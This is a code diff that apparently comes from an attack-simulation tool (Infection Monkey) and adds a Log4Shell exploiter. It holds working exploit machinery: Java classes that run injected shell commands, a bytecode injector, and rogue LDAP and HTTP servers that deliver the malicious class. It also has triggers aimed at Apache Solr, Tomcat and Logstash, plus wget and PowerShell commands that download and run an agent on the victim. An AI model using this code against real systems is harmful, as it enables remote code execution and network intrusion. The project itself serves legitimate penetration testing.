return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||
else:
|
||||
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
||||
|
||||
def exploit(self, url, command) -> bool:
|
||||
# Try to exploit all services,
|
||||
# because we don't know which services are running and on which ports
|
||||
for exploit in get_log4shell_service_exploiters():
|
||||
for port in self._open_ports:
|
||||
try:
|
||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as ex:
|
||||
logger.warning(
|
||||
"An error occurred while attempting to exploit log4shell on a "
|
||||
f"potential {exploit.service_name} service: {ex}"
|
||||
)
|
||||
|
||||
if self._wait_for_victim():
|
||||
self.exploit_info["vulnerable_service"] = {
|
||||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
self.exploit_info["vulnerable_urls"].append(url)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def _wait_for_victim(self) -> bool:
|
||||
victim_called_back = False
|
||||
|
||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||
if victim_called_back:
|
||||
self._wait_for_victim_to_download_agent()
|
||||
|
||||
return victim_called_back
|
||||
|
||||
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
|
||||
start_time = time.time()
|
||||
|
||||
while not self._victim_timeout_expired(
|
||||
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
|
||||
):
|
||||
if self._exploit_class_http_server.exploit_class_downloaded():
|
||||
return True
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return False
|
||||
|
||||
def _wait_for_victim_to_download_agent(self):
|
||||
start_time = time.time()
|
||||
|
||||
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
|
||||
if self._agent_http_server_thread.downloads > 0:
|
||||
break
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
@classmethod
|
||||
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
|
||||
return timeout < (time.time() - start_time)
|
|
@ -0,0 +1,31 @@
|
|||
# Building Java class templates for log4shell
|
||||
|
||||
## Summary
|
||||
The log4shell exploiter provides two files, `LinuxExploit.class.template` and
|
||||
`WindowsExploit.class.templete`. These files are served to a vulnerable machine
|
||||
via LDAP and HTTP to achieve remote code execution. This README file contains
|
||||
instructions for rebuilding these template files should it ever become
|
||||
necessary.
|
||||
|
||||
## Proceedure
|
||||
|
||||
1. Copy the desired Linux or Windows Java source code to a new file named
|
||||
`Exploit.java`. Both Java source code files contain a class named `Exploit`.
|
||||
When building Java classes, the class name and the file name must match
|
||||
exactly.
|
||||
|
||||
```
|
||||
$ cp LinuxExploit.java Exploit.java
|
||||
```
|
||||
|
||||
1. Use `javac` to build the Java class file.
|
||||
```
|
||||
$ javac Exploit.java
|
||||
```
|
||||
|
||||
1. Rename the `.class` file with the appropriate OS name.
|
||||
```
|
||||
$ mv Exploit.class LinuxExploit.class.template
|
||||
```
|
||||
|
||||
1. Remove the `Exploit.java` file, as it is no longer needed.
|
Binary file not shown.
|
@ -0,0 +1,7 @@
|
|||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"});
|
||||
} catch(Exception e) {}
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,7 @@
|
|||
public class Exploit {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"});
|
||||
} catch(Exception e) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
from pathlib import Path
|
||||
from .exploit_builder import (
|
||||
build_exploit_bytecode,
|
||||
InvalidExploitTemplateError,
|
||||
)
|
||||
from .ldap_server import LDAPExploitServer
|
||||
from .service_exploiters import get_log4shell_service_exploiters
|
||||
from .exploit_class_http_server import ExploitClassHTTPServer
|
||||
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
|
|
@ -0,0 +1,62 @@
|
|||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
|
||||
|
||||
INJECTION_TAG = "###"
|
||||
|
||||
|
||||
class InvalidExploitTemplateError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
|
||||
"""
|
||||
Build a payload used to exploit log4shell
|
||||
:param str payload_command: The command that will be executed on the remote host.
|
||||
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
|
||||
the placeholder "###". This placeholder will be overwritten
|
||||
with the contents of payload_command.
|
||||
:return: Java bytecode that will execute the payload
|
||||
:rtype: bytes
|
||||
"""
|
||||
template_bytecode = _load_template_bytecode(exploit_template_path)
|
||||
exploit_bytecode = _inject_payload(payload_command, template_bytecode)
|
||||
|
||||
return exploit_bytecode
|
||||
|
||||
|
||||
def _load_template_bytecode(exploit_template_path: Path) -> bytes:
|
||||
with open(exploit_template_path, "rb") as h:
|
||||
template_bytecode = h.read()
|
||||
|
||||
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
|
||||
raise InvalidExploitTemplateError(
|
||||
f'The file "{exploit_template_path}" is not a compiled Java class'
|
||||
)
|
||||
|
||||
return template_bytecode
|
||||
|
||||
|
||||
def _inject_payload(payload: str, template_bytecode: bytes):
|
||||
payload_bytes = payload.encode()
|
||||
|
||||
if not INJECTION_TAG.encode() in template_bytecode:
|
||||
raise InvalidExploitTemplateError(
|
||||
f'Unable to find "{INJECTION_TAG}" tag in the template bytecode'
|
||||
)
|
||||
|
||||
index = template_bytecode.index(INJECTION_TAG.encode())
|
||||
|
||||
exploit_bytecode = (
|
||||
template_bytecode[: index - 3]
|
||||
+ str_size(payload_bytes)
|
||||
+ payload_bytes
|
||||
+ template_bytecode[index + 3 :]
|
||||
)
|
||||
|
||||
return exploit_bytecode
|
||||
|
||||
|
||||
def str_size(data: bytes) -> bytes:
|
||||
return b"\x01" + struct.pack("!H", len(data))
|
|
@ -0,0 +1,118 @@
|
|||
import http.server
|
||||
import logging
|
||||
import threading
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
|
||||
|
||||
|
||||
# If we need to run multiple HTTP servers in parallel, we'll need to either:
|
||||
# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
|
||||
# 2. Create a metaclass and define the handler class dymanically at runtime
|
||||
class HTTPHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
||||
java_class: bytes
|
||||
class_downloaded: threading.Event
|
||||
download_lock: threading.Lock
|
||||
|
||||
@classmethod
|
||||
def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
|
||||
cls.java_class = java_class
|
||||
cls.class_downloaded = class_downloaded
|
||||
cls.download_lock = threading.Lock()
|
||||
|
||||
def do_GET(self):
|
||||
with HTTPHandler.download_lock:
|
||||
if HTTPHandler.class_downloaded.is_set():
|
||||
self.send_error(
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
|
||||
"Java exploit class has already been downloaded",
|
||||
)
|
||||
return
|
||||
|
||||
HTTPHandler.class_downloaded.set()
|
||||
|
||||
logger.info("Java class server received a GET request!")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
logger.info("Sending the payload class!")
|
||||
self.wfile.write(self.java_class)
|
||||
|
||||
|
||||
class ExploitClassHTTPServer:
|
||||
"""
|
||||
An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
|
||||
limits the number of requests to one. That is, after one victim has downloaded the java
|
||||
bytecode, the server will respond with a 429 error to all future requests.
|
||||
|
||||
Note: There can only be one instance of this class at a time due to the way it is implemented.
|
||||
"""
|
||||
|
||||
def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5):
|
||||
"""
|
||||
:param ip: The IP address that the server will bind to
|
||||
:param port: The port that the server will listen on
|
||||
:param java_class: The compiled Java bytecode that the server will serve
|
||||
:param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5.
|
||||
"""
|
||||
logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
|
||||
|
||||
self._class_downloaded = threading.Event()
|
||||
self._poll_interval = poll_interval
|
||||
|
||||
HTTPHandler.initialize(java_class, self._class_downloaded)
|
||||
|
||||
self._server = http.server.HTTPServer((ip, port), HTTPHandler)
|
||||
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
|
||||
# agent-refactor branch.
|
||||
# TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
|
||||
# constructor directly after merging to the agent-refactor branch.
|
||||
self._server_thread = threading.Thread(
|
||||
target=self._server.serve_forever, args=(self._poll_interval,), daemon=True
|
||||
)
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Runs the HTTP server in the background and blocks until the server has started.
|
||||
"""
|
||||
logger.info("Starting ExploitClassHTTPServer")
|
||||
self._class_downloaded.clear()
|
||||
|
||||
# NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race
|
||||
# between when `serve_forever()` is ready to handle requests and when the victim machine
|
||||
# sends its requests. This could change if we switch from multithreading to multiprocessing.
|
||||
# See
|
||||
# https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever
|
||||
# for more information.
|
||||
self._server_thread.start()
|
||||
|
||||
def stop(self, timeout: float = None):
|
||||
"""
|
||||
Stops the HTTP server.
|
||||
|
||||
:param timeout: A floating point number of seconds to wait for the server to stop. If this
|
||||
argument is None (the default), the method blocks until the HTTP server
|
||||
terminates. If `timeout` is a positive floating point number, this method
|
||||
blocks for at most `timeout` seconds.
|
||||
"""
|
||||
if self._server_thread.is_alive():
|
||||
logger.debug("Stopping the Java Exploit class HTTP server")
|
||||
self._server.shutdown()
|
||||
self._server_thread.join(timeout)
|
||||
|
||||
if self._server_thread.is_alive():
|
||||
logger.warning("Timed out while waiting for The HTTP exploit server to stop")
|
||||
else:
|
||||
logger.debug("The Java Exploit class HTTP server has stopped")
|
||||
|
||||
def exploit_class_downloaded(self) -> bool:
|
||||
"""
|
||||
Returns whether or not a victim has downloaded the Java bytecode from the server.
|
||||
|
||||
:return: True if the victim has downloaded the Java bytecode from the server. False
|
||||
otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
return self._class_downloaded.is_set()
|
|
@ -0,0 +1,184 @@
|
|||
import logging
|
||||
import math
|
||||
import multiprocessing
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from ldaptor.interfaces import IConnectedLDAPEntry
|
||||
from ldaptor.ldiftree import LDIFTreeEntry
|
||||
from ldaptor.protocols.ldap.ldapserver import LDAPServer
|
||||
from twisted.application import service
|
||||
from twisted.internet import reactor
|
||||
from twisted.internet.protocol import ServerFactory
|
||||
from twisted.python import log
|
||||
from twisted.python.components import registerAdapter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
EXPLOIT_RDN = "dn=Exploit"
|
||||
REACTOR_START_TIMEOUT_SEC = 30.0
|
||||
|
||||
|
||||
class LDAPServerStartError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class Tree:
|
||||
"""
|
||||
An LDAP directory information tree (DIT) used to exploit log4shell
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
|
||||
self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
|
||||
self.db = LDIFTreeEntry(self.path)
|
||||
|
||||
self._init_db(http_server_ip, http_server_port)
|
||||
|
||||
def _init_db(self, http_server_ip: str, http_server_port: int):
|
||||
attributes = {
|
||||
"javaFactory": ["Exploit"],
|
||||
"objectClass": ["javaNamingReference"],
|
||||
"javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"],
|
||||
"javaClassName": ["Exploit"],
|
||||
}
|
||||
|
||||
self.db.addChild(EXPLOIT_RDN, attributes)
|
||||
|
||||
|
||||
class LDAPServerFactory(ServerFactory):
|
||||
"""
|
||||
Our Factory is meant to persistently store the ldap tree
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
protocol = LDAPServer
|
||||
|
||||
def __init__(self, root):
|
||||
self.root = root
|
||||
|
||||
def buildProtocol(self, addr):
|
||||
proto = self.protocol()
|
||||
proto.debug = self.debug
|
||||
proto.factory = self
|
||||
return proto
|
||||
|
||||
|
||||
class LDAPExploitServer:
|
||||
"""
|
||||
This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell.
|
||||
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path
|
||||
):
|
||||
"""
|
||||
:param ldap_server_port: The port that the LDAP server will listen on.
|
||||
|
||||
:param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell
|
||||
Java class.
|
||||
|
||||
:param http_server_port: The port the HTTP server is listening on.
|
||||
|
||||
:param storage_dir: A directory where the LDAP server can safely store files it needs during
|
||||
runtime.
|
||||
"""
|
||||
self._reactor_startup_completed = multiprocessing.Event()
|
||||
self._ldap_server_port = ldap_server_port
|
||||
self._http_server_ip = http_server_ip
|
||||
self._http_server_port = http_server_port
|
||||
self._storage_dir = storage_dir
|
||||
|
||||
# A Twisted reactor can only be started and stopped once. It cannot be restarted after it
|
||||
# has been stopped. To work around this, the reactor is configured and run in a separate
|
||||
# process. This allows us to run multiple LDAP servers sequentially or simultaneously and
|
||||
# stop each one when we're done with it.
|
||||
self._server_process = multiprocessing.Process(
|
||||
target=self._run_twisted_reactor, daemon=True
|
||||
)
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the
|
||||
server and blocks until either the server has successfully started or it times out.
|
||||
|
||||
:raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
|
||||
"""
|
||||
logger.info("Starting LDAP exploit server")
|
||||
self._server_process.start()
|
||||
reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
|
||||
|
||||
if not reactor_running:
|
||||
raise LDAPServerStartError("An unknown error prevented the LDAP server from starting")
|
||||
|
||||
logger.debug("The LDAP exploit server has successfully started")
|
||||
|
||||
def _run_twisted_reactor(self):
|
||||
logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
|
||||
self._configure_twisted_reactor()
|
||||
|
||||
# Since the call to reactor.run() blocks, a separate thread is started to poll the value
|
||||
# of `reactor.running` and set the self._reactor_startup_complete Event when the reactor
|
||||
# is running. This allows the self.run() function to block until the reactor has
|
||||
# successfully started.
|
||||
threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start()
|
||||
reactor.run()
|
||||
|
||||
def _check_if_reactor_startup_completed(self):
|
||||
check_interval_sec = 0.25
|
||||
num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
|
||||
|
||||
for _ in range(0, num_checks):
|
||||
if reactor.running:
|
||||
logger.debug("Twisted reactor startup completed")
|
||||
self._reactor_startup_completed.set()
|
||||
break
|
||||
|
||||
logger.debug("Twisted reactor has not yet started")
|
||||
time.sleep(check_interval_sec)
|
||||
|
||||
def _configure_twisted_reactor(self):
|
||||
LDAPExploitServer._output_twisted_logs_to_python_logger()
|
||||
|
||||
registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
|
||||
|
||||
tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir)
|
||||
factory = LDAPServerFactory(tree.db)
|
||||
factory.debug = True
|
||||
|
||||
application = service.Application("ldaptor-server")
|
||||
service.IServiceCollection(application)
|
||||
reactor.listenTCP(self._ldap_server_port, factory)
|
||||
|
||||
@staticmethod
|
||||
def _output_twisted_logs_to_python_logger():
|
||||
# Configures Twisted to output its logs using the standard python logging module instead of
|
||||
# the Twisted logging module.
|
||||
# https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html
|
||||
log_observer = log.PythonLoggingObserver()
|
||||
log_observer.start()
|
||||
|
||||
def stop(self, timeout: float = None):
|
||||
"""
|
||||
Stops the LDAP server.
|
||||
|
||||
:param timeout: A floating point number of seconds to wait for the server to stop. If this
|
||||
argument is None (the default), the method blocks until the LDAP server
|
||||
terminates. If `timeout` is a positive floating point number, this method
|
||||
blocks for at most `timeout` seconds.
|
||||
"""
|
||||
if self._server_process.is_alive():
|
||||
logger.debug("Stopping LDAP exploit server")
|
||||
|
||||
# The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully
|
||||
# shutdown.
|
||||
self._server_process.terminate()
|
||||
self._server_process.join(timeout)
|
||||
|
||||
if self._server_process.is_alive():
|
||||
logger.warning("Timed out while waiting for the LDAP exploit server to stop")
|
||||
else:
|
||||
logger.debug("Successfully stopped the LDAP exploit server")
|
|
@ -0,0 +1,10 @@
|
|||
from typing import List
|
||||
|
||||
from .i_service_exploiter import IServiceExploiter
|
||||
from .solr import SolrExploit
|
||||
from .tomcat import TomcatExploit
|
||||
from .logstash import LogStashExploit
|
||||
|
||||
|
||||
def get_log4shell_service_exploiters() -> List[IServiceExploiter]:
|
||||
return [SolrExploit(), TomcatExploit(), LogStashExploit()]
|
|
@ -0,0 +1,17 @@
|
|||
import abc
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
|
||||
class IServiceExploiter(metaclass=abc.ABCMeta):
|
||||
@property
|
||||
@abc.abstractmethod
|
||||
def service_name(self) -> str:
|
||||
# Should have the name of the exploited service
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
@abc.abstractmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int) -> str:
|
||||
# Return the URL the exploit was attempted on
|
||||
raise NotImplementedError
|
|
@ -0,0 +1,22 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class LogStashExploit(IServiceExploiter):
|
||||
service_name = "LogStash"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}"
|
||||
try:
|
||||
requests.get(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
|
@ -0,0 +1,22 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SolrExploit(IServiceExploiter):
|
||||
service_name = "Apache Solr"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}"
|
||||
try:
|
||||
requests.post(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
|
@ -0,0 +1,23 @@
|
|||
from logging import getLogger
|
||||
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class TomcatExploit(IServiceExploiter):
|
||||
service_name = "Apache Tomcat"
|
||||
|
||||
@staticmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample"
|
||||
payload = {"dataname": "foo", "datavalue": payload}
|
||||
try:
|
||||
requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
|
@ -10,6 +10,7 @@ import ssl
|
|||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import List, Tuple
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
||||
|
@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE):
|
|||
exploit_config["dropper"] = True
|
||||
return exploit_config
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
"""
|
||||
We need to override this method to get redirected url's
|
||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
|
||||
isHTTPS?(bool)]
|
||||
Eg. ports: [[80, False], [443, True]]
|
||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||
:return: Array of url's to try and attack
|
||||
"""
|
||||
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
|
||||
url_list = [self.get_redirected(url) for url in url_list]
|
||||
@staticmethod
|
||||
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
|
||||
url_list = WebRCE.build_potential_urls(ip, ports)
|
||||
url_list = [Struts2Exploiter.get_redirected(url) for url in url_list]
|
||||
return url_list
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -2,6 +2,7 @@ import logging
|
|||
import re
|
||||
from abc import abstractmethod
|
||||
from posixpath import join
|
||||
from typing import List, Tuple
|
||||
|
||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
|
@ -21,6 +22,7 @@ from infection_monkey.model import (
|
|||
POWERSHELL_HTTP_UPLOAD,
|
||||
RUN_MONKEY,
|
||||
WGET_HTTP_UPLOAD,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.network.tools import tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
@ -99,7 +101,9 @@ class WebRCE(HostExploiter):
|
|||
if not ports:
|
||||
return False
|
||||
# Get urls to try to exploit
|
||||
potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"])
|
||||
potential_urls = self.build_potential_urls(
|
||||
self.host.ip_addr, ports, exploit_config["url_extensions"]
|
||||
)
|
||||
self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"])
|
||||
|
||||
if not self.are_vulnerable_urls_sufficient():
|
||||
|
@ -154,8 +158,12 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
raise NotImplementedError()
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
@staticmethod
|
||||
def get_open_service_ports(
|
||||
victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str]
|
||||
): # noqa: F821
|
||||
"""
|
||||
:param victim_host: VictimHost object that exploiter is targeting
|
||||
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
||||
:param names: [] of service names. Example: ["http"]
|
||||
:return: Returns all open ports from port list that are of service names
|
||||
|
@ -163,12 +171,12 @@ class WebRCE(HostExploiter):
|
|||
candidate_services = {}
|
||||
candidate_services.update(
|
||||
{
|
||||
service: self.host.services[service]
|
||||
for service in self.host.services
|
||||
service: victim_host.services[service]
|
||||
for service in victim_host.services
|
||||
if (
|
||||
self.host.services[service]
|
||||
and "name" in self.host.services[service]
|
||||
and self.host.services[service]["name"] in names
|
||||
victim_host.services[service]
|
||||
and "name" in victim_host.services[service]
|
||||
and victim_host.services[service]["name"] in names
|
||||
)
|
||||
}
|
||||
)
|
||||
|
@ -216,10 +224,12 @@ class WebRCE(HostExploiter):
|
|||
logger.error("Host's exploitability check failed due to: %s" % e)
|
||||
return False
|
||||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
@staticmethod
|
||||
def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]:
|
||||
"""
|
||||
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and
|
||||
extensions.
|
||||
:param ip: IP address of the victim
|
||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int),
|
||||
isHTTPS?(bool)]
|
||||
Eg. ports: [[80, False], [443, True]]
|
||||
|
@ -237,9 +247,7 @@ class WebRCE(HostExploiter):
|
|||
protocol = "https"
|
||||
else:
|
||||
protocol = "http"
|
||||
url_list.append(
|
||||
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
||||
)
|
||||
url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension))
|
||||
if not url_list:
|
||||
logger.info("No attack url's were built")
|
||||
return url_list
|
||||
|
@ -329,7 +337,7 @@ class WebRCE(HostExploiter):
|
|||
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [
|
||||
port.nr, IsHTTPS?]
|
||||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
ports = WebRCE.get_open_service_ports(self.host, ports, names)
|
||||
if not ports:
|
||||
logger.info("All default web ports are closed on %r, skipping", str(self.host))
|
||||
return False
|
||||
|
|
|
@ -60,4 +60,15 @@ HADOOP_LINUX_COMMAND = (
|
|||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
)
|
||||
|
||||
LOG4SHELL_LINUX_COMMAND = (
|
||||
"wget -O %(monkey_path)s %(http_path)s ;"
|
||||
" chmod +x %(monkey_path)s ;"
|
||||
" %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
)
|
||||
|
||||
LOG4SHELL_WINDOWS_COMMAND = (
|
||||
'powershell -NoLogo -Command "'
|
||||
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
|
||||
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
|
||||
)
|
||||
DOWNLOAD_TIMEOUT = 180
|
||||
|
|
|
@ -108,14 +108,14 @@ else:
|
|||
return routes
|
||||
|
||||
|
||||
def get_free_tcp_port(min_range=1000, max_range=65535):
|
||||
start_range = min(1, min_range)
|
||||
def get_free_tcp_port(min_range=1024, max_range=65535):
|
||||
min_range = max(1, min_range)
|
||||
max_range = min(65535, max_range)
|
||||
|
||||
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
|
||||
|
||||
for i in range(min_range, max_range):
|
||||
port = randint(start_range, max_range)
|
||||
port = randint(min_range, max_range)
|
||||
|
||||
if port not in in_use:
|
||||
return port
|
||||
|
|
|
@ -17,6 +17,7 @@ BASIC = {
|
|||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"Log4ShellExploiter",
|
||||
"ShellShockExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
|
|
|
@ -147,5 +147,16 @@ EXPLOITER_CLASSES = {
|
|||
"link": "https://www.guardicore.com/infectionmonkey"
|
||||
"/docs/reference/exploiters/powershell",
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": ["Log4ShellExploiter"],
|
||||
"title": "Log4Shell Exploiter",
|
||||
"safe": True,
|
||||
"info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java "
|
||||
"logging framework. Exploitation is attempted on the following services — "
|
||||
"Apache Solr, Apache Tomcat, Logstash.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
|
||||
"/exploiters/log4shell/",
|
||||
},
|
||||
],
|
||||
}
|
||||
|
|
|
@ -97,7 +97,7 @@ INTERNAL = {
|
|||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {"type": "integer"},
|
||||
"default": [80, 8080, 443, 8008, 7001, 9200],
|
||||
"default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600],
|
||||
"description": "List of ports the monkey will check if are being used "
|
||||
"for HTTP",
|
||||
},
|
||||
|
|
|
@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro
|
|||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
|
||||
ExploitProcessor,
|
||||
)
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501
|
||||
Log4ShellProcessor,
|
||||
)
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501
|
||||
ShellShockExploitProcessor,
|
||||
)
|
||||
|
@ -48,6 +51,7 @@ class ExploiterDescriptorEnum(Enum):
|
|||
POWERSHELL = ExploiterDescriptor(
|
||||
"PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor
|
||||
)
|
||||
LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor)
|
||||
|
||||
@staticmethod
|
||||
def get_by_class_name(class_name: str) -> ExploiterDescriptor:
|
||||
|
|
|
@ -21,3 +21,4 @@ class ExploiterReportInfo:
|
|||
port: Union[str, None] = None
|
||||
paths: Union[List[str], None] = None
|
||||
password_restored: Union[bool, None] = None
|
||||
service: Union[str, None] = None
|
||||
|
|
|
@ -0,0 +1,16 @@
|
|||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
|
||||
ExploiterReportInfo,
|
||||
)
|
||||
|
